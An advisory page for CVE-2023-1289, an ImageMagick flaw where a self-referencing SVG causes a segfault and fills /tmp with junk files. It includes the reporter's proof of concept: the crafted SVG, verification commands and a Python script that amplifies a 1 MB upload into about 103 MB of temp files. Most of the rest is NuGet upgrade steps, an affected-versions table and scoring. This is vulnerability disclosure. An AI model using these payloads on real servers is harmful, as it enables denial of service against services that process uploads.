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CVE-2023-1289

MEDIUM

ImageMagick: Specially crafted SVG leads to segmentation fault and generate trash files in "/tmp", possible to leverage DoS

Published March 12, 2026Updated July 8, 2026Source: osv

Summary

### Summary Specially crafted SVG file make segmentation fault and generate trash files in "/tmp", possible to leverage DoS. ### Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara) ### Tested ImageMagick version 6.9.11-60, 7.1.0-62 ### Details A specially created SVG file that loads by itself and make segmentation fault. Remote attackers can take advantage of this vulnerability to cause a denial of service of the generated SVG file. It seems that this error affects a lot of websites and causes a generating trash files in ```/tmp``` when uploading this PC file to the server. I think it's better to check the file descriptor coming from itself before executing ```read()```. ### PoC 1. Generate SVG file: ```<?xml version="1.0" standalone="yes"?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="bad.svg" /> </svg> ``` 2. Run some commands for verification: ```$rm -f /tmp/* $./magick --version Version: ImageMagick 7.1.0-62 Q16-HDRI x86_64 74b3683a4:20230211 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (7.5) $./magick convert -verbose -font OpenSymbol bad.svg t.jpg 'inkscape' '/tmp/magick-ixX13JwrwrLUhyucKsGxechsQtEN4Zji' --export-filename='/tmp/magick-qp154V6U-dyAwtU-QbcnWD8XKFcG7q5k.png' --export-dpi='96' --export-background='rgb(100%,100%,100%)' --export-background-opacity='1' > '/tmp/magick-YWdlPJt-_9BfRq0uY2vmza_VOxWfjyvl' 2>&1 Segmentation fault $ls /tmp magick-1iZstE-dzlzQTN4HkWX_JlakXXtH4IEM magick-GeFwj8Be_wISDLJnsr4s5WC7p079pzXN magick-s7QN2tTaiXEr9KmkbkHdmtfmgrnjFRaM magick-1LG0ND-RZMQOG8xizDHd-qdd6_Fu70YP magick-ggORXwnSivWesH2gthhafuLTVw7TLqwP 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This trash file can be large, if SVG file contains many render action. ### Additional impact In DOS attack if remount attacker uploads an SVG file of size t, ImageMagick generates files of size 103*t. This means that if an attacker uploads a 100 M SVG, the server will generate about 10 G. Example: ``` $cat dos_poc.py open("bad_dos.svg", "w").write("""<?xml version="1.0"?> <?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" href="bad_dos.svg&quot;""" + "0"*(1024*1021) + """&quot;" /> </svg>""") $rm -rf /tmp/magick-* $python3 dos_poc.py $du -h bad_dos.svg 1,0M bad_dos.svg $../magick convert -font OpenSymbol bad_dos.svg t.jpg Segmentation fault $cat /tmp/magick-* > dos_k.txt $du -h dos_k.txt 103M dos_k.txt ``` P. S. If ImageMagick will work in Docker container this attack will crash server where docker running. Because the size of the docker container will increase.

Remediation

Upgrade to the fixed version using your package manager.

NuGet
Update Magick.NET-Q16-AnyCPU to 13.0.0 or later
dotnet add package Magick.NET-Q16-AnyCPU --version 13.0.0
NuGet
Update Magick.NET-Q16-HDRI-x64 to 13.0.0 or later
dotnet add package Magick.NET-Q16-HDRI-x64 --version 13.0.0
NuGet
Update Magick.NET-Q16-OpenMP-arm64 to 13.0.0 or later
dotnet add package Magick.NET-Q16-OpenMP-arm64 --version 13.0.0
NuGet
Update Magick.NET-Q16-x86 to 13.0.0 or later
dotnet add package Magick.NET-Q16-x86 --version 13.0.0
NuGet
Update Magick.NET-Q16-OpenMP-x64 to 13.0.0 or later
dotnet add package Magick.NET-Q16-OpenMP-x64 --version 13.0.0
NuGet
Update Magick.NET-Q8-arm64 to 13.0.0 or later
dotnet add package Magick.NET-Q8-arm64 --version 13.0.0
NuGet
Update Magick.NET-Q8-x86 to 13.0.0 or later
dotnet add package Magick.NET-Q8-x86 --version 13.0.0
NuGet
Update Magick.NET-Q16-HDRI-OpenMP-x64 to 13.0.0 or later
dotnet add package Magick.NET-Q16-HDRI-OpenMP-x64 --version 13.0.0
NuGet
Update Magick.NET-Q16-x64 to 13.0.0 or later
dotnet add package Magick.NET-Q16-x64 --version 13.0.0
NuGet
Update Magick.NET-Q16-HDRI-OpenMP-arm64 to 13.0.0 or later
dotnet add package Magick.NET-Q16-HDRI-OpenMP-arm64 --version 13.0.0
NuGet
Update Magick.NET-Q8-OpenMP-x64 to 13.0.0 or later
dotnet add package Magick.NET-Q8-OpenMP-x64 --version 13.0.0
NuGet
Update Magick.NET-Q16-arm64 to 13.0.0 or later
dotnet add package Magick.NET-Q16-arm64 --version 13.0.0
NuGet
Update Magick.NET-Q16-OpenMP-x86 to 13.0.0 or later
dotnet add package Magick.NET-Q16-OpenMP-x86 --version 13.0.0
NuGet
Update Magick.NET-Q8-AnyCPU to 13.0.0 or later
dotnet add package Magick.NET-Q8-AnyCPU --version 13.0.0
NuGet
Update Magick.NET-Q8-x64 to 13.0.0 or later
dotnet add package Magick.NET-Q8-x64 --version 13.0.0
NuGet
Update Magick.NET-Q16-HDRI-arm64 to 13.0.0 or later
dotnet add package Magick.NET-Q16-HDRI-arm64 --version 13.0.0
NuGet
Update Magick.NET-Q16-HDRI-AnyCPU to 13.0.0 or later
dotnet add package Magick.NET-Q16-HDRI-AnyCPU --version 13.0.0
NuGet
Update Magick.NET-Q8-OpenMP-arm64 to 13.0.0 or later
dotnet add package Magick.NET-Q8-OpenMP-arm64 --version 13.0.0
NuGet
Update Magick.NET-Q16-HDRI-x86 to 13.0.0 or later
dotnet add package Magick.NET-Q16-HDRI-x86 --version 13.0.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (19)

PackageEcosystemAffectedFixed In
Magick.NET-Q16-AnyCPU
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+173 more)13.0.0
Magick.NET-Q16-HDRI-x64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+170 more)13.0.0
Magick.NET-Q16-OpenMP-arm64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+18 more)13.0.0
Magick.NET-Q16-x86
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+189 more)13.0.0
Magick.NET-Q16-OpenMP-x64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+70 more)13.0.0
Magick.NET-Q8-arm64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+18 more)13.0.0
Magick.NET-Q8-x86
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+189 more)13.0.0
Magick.NET-Q16-HDRI-OpenMP-x64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+70 more)13.0.0
Magick.NET-Q16-x64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+189 more)13.0.0
Magick.NET-Q16-HDRI-OpenMP-arm64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+18 more)13.0.0
Magick.NET-Q8-OpenMP-x64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+70 more)13.0.0
Magick.NET-Q16-arm64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+18 more)13.0.0
Magick.NET-Q16-OpenMP-x86
nuget
All versions13.0.0
Magick.NET-Q8-AnyCPU
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+173 more)13.0.0
Magick.NET-Q8-x64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+189 more)13.0.0
Magick.NET-Q16-HDRI-arm64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+18 more)13.0.0
Magick.NET-Q16-HDRI-AnyCPU
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+170 more)13.0.0
Magick.NET-Q8-OpenMP-arm64
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+18 more)13.0.0
Magick.NET-Q16-HDRI-x86
nuget
10.0.0, 10.1.0, 11.0.0, 11.1.0 (+170 more)13.0.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-20
    Improper Input ValidationMITRE
  • CWE-400
    Uncontrolled Resource ConsumptionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 5.5 score means for each attack dimension.

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2023-1289?
ImageMagick: Specially crafted SVG leads to segmentation fault and generate trash files in "/tmp", possible to leverage DoS This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 5.5/10).
How do I check if my project is affected by CVE-2023-1289?
CVE-2023-1289 affects Magick.NET-Q16-AnyCPU, Magick.NET-Q16-HDRI-x64 and Magick.NET-Q16-OpenMP-arm64 (and 16 more). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2023-1289 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
5.5

Exploitation requires specific conditions or has limited impact. Remediate within weeks.

Also Known As

GHSA-j96m-mjp6-99xr

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